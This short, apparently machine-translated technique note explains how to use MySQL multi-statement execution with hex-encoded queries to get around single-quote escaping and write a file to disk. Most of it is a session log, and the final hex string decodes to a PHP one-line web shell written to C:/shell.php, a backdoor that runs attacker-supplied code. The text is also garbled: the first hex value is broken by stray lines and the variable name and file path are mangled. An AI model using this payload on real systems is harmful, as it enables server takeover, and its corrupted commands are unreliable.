When single quotes are escaped, load_file/outfile generates a sentence.

Mysql multi-statement execution does not use single quotes to write outfile to shell

 
 
Mysql> use xssdb;
Database changed
 
Mysql> set @ a = 0x73656c6563742030783343310837303638373032303430363537363631364332
Bytes
Break;
Query OK, 0 rows affected (0.00 sec)
Mysql> prepare cmd from @;
Query OK, 0 rows affected (0.00 sec)
Statement prepared
Mysql> execute cmd;
Query OK, 1 row affected (0.00 sec)
 
 
The hexadecimal format encrypted above is:
Select 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E from xss limit 1 into outfile C:/shell. php